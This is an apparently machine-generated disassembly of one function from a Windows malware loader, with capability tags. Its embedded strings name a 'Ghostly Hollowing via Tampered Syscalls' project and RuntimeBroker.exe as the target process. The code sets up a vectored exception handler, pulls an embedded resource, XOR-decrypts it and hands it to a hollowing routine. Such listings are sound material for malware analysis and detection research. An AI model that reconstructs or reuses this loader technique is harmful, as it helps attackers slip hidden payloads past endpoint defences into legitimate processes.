Function at 0x140001810
Capabilities:
Encode data using xor
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x280
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x270], rax
call qword [sym.imp.KERNEL32.dll_FreeConsole]
cmp qword [0x140022c18], 0
jne 0x1400018e3
lea rcx, [0x140022c20]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rdx, [0x1400021a0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
mov qword [0x140022c18], rax
test rax, rax
jne 0x1400018e3
lea rbx, str.C:UsersgreatOneDriveDesktopHelloLoaderGhostlyHollowingViaTamperedSyscallsTamperedSyscallls.c
mov edx, 0x2f
mov rcx, rbx
call fcn.140002fb0
mov rcx, rbx
test rax, rax
je 0x14000189b
mov edx, 0x2f
jmp 0x1400018b2
mov edx, 0x5c
call fcn.140002fb0
test rax, rax
je 0x1400018bb
mov edx, 0x5c
mov rcx, rbx
call fcn.140002fb0
lea rbx, [rax + 2]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, 0xf8
lea rcx, str.____AddVectoredExceptionHandler___ws._d__Failed_With_Error:__d__n
mov r9d, eax
mov rdx, rbx
call fcn.140001b50
mov eax, 0xffffffff
jmp 0x140001b0f
movaps xmm1, xmmword [str.C:Windows_system32RuntimeBroker.exe]
lea rcx, [rsp + 0xac]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x60], xmm1
movaps xmm1, xmmword [0x14001e5d0]
xor eax, eax
movups xmmword [rsp + 0x40], xmm0
xor edx, edx
mov qword [rsp + 0x50], rax
movaps xmm0, xmmword [0x14001e5c0]
mov r8d, 0x1bc
mov eax, dword [0x14001e5f8]
movaps xmmword [rsp + 0x70], xmm0
movaps xmm0, xmmword [0x14001e5e0]
movaps xmmword [rsp + 0x90], xmm0
movsd xmm0, qword [0x14001e5f0]
movsd qword [rsp + 0xa0], xmm0
movaps xmmword [rsp + 0x80], xmm1
mov dword [rsp + 0xa8], eax
call fcn.140014f00
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
movups xmm0, xmmword [0x14001e600]
lea r8, [0x14001e588]
mov edx, 0x65
mov rcx, rax
mov rbx, rax
movups xmmword [rsp + 0x20], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
je 0x140001b0a
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x140001b0a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, rdi
mov rcx, rbx
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
movsxd rbx, eax
mov ecx, ebx
mov esi, ebx
call fcn.140005890
mov rdi, rax
test rax, rax
je 0x140001b0a
mov r8d, esi
mov rdx, rbp
mov rcx, rax
call fcn.1400152c0
mov ecx, ebx
mov ebp, ebx
call fcn.140005890
mov rsi, rax
test rax, rax
je 0x140001b0a
lea rax, [rsp + 0x20]
mov r9, 0xffffffffffffffff
nop
inc r9
cmp byte [rax + r9], 0
jne 0x140001a10
xor r11d, r11d
test rbx, rbx
jle 0x140001a55
mov r10, rsi
sub rdi, rsi
nop dword [rax + rax]
mov eax, r11d
lea r10, [r10 + 1]
cdq
inc r11d
idiv r9d
movsxd rax, edx
movzx ecx, byte [rsp + rax + 0x20]
xor cl, byte [rdi + r10 - 1]
mov byte [r10 - 1], cl
sub rbx, 1
jne 0x140001a30
lea r9, [rsp + 0x40]
mov r8, rbp
mov rdx, rsi
lea rcx, [rsp + 0x60]
call section..text
test eax, eax
je 0x1400018d9
cmp qword [0x140022c18], 0
je 0x1400018d9
lea rcx, [0x140022c20]
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov rcx, qword [0x140022c18]
call qword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
test eax, eax
jne 0x140001b06
lea rbx, str.C:UsersgreatOneDriveDesktopHelloLoaderGhostlyHollowingViaTamperedSyscallsTamperedSyscallls.c
mov edx, 0x2f
mov rcx, rbx
call fcn.140002fb0
mov rcx, rbx
test rax, rax
je 0x140001ac1
mov edx, 0x2f
jmp 0x140001ad8
mov edx, 0x5c
call fcn.140002fb0
test rax, rax
je 0x140001ae1
mov edx, 0x5c
mov rcx, rbx
call fcn.140002fb0
lea rbx, [rax + 2]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, 0x107
lea rcx, str.____RemoveVectoredExceptionHandler___ws._d__Failed_With_Error:__d__n
mov r9d, eax
mov rdx, rbx
call fcn.140001b50
mov eax, 0xffffffff
jmp 0x140001b0f
xor eax, eax
jmp 0x140001b0f
mov eax, 1
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.1400022a0
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret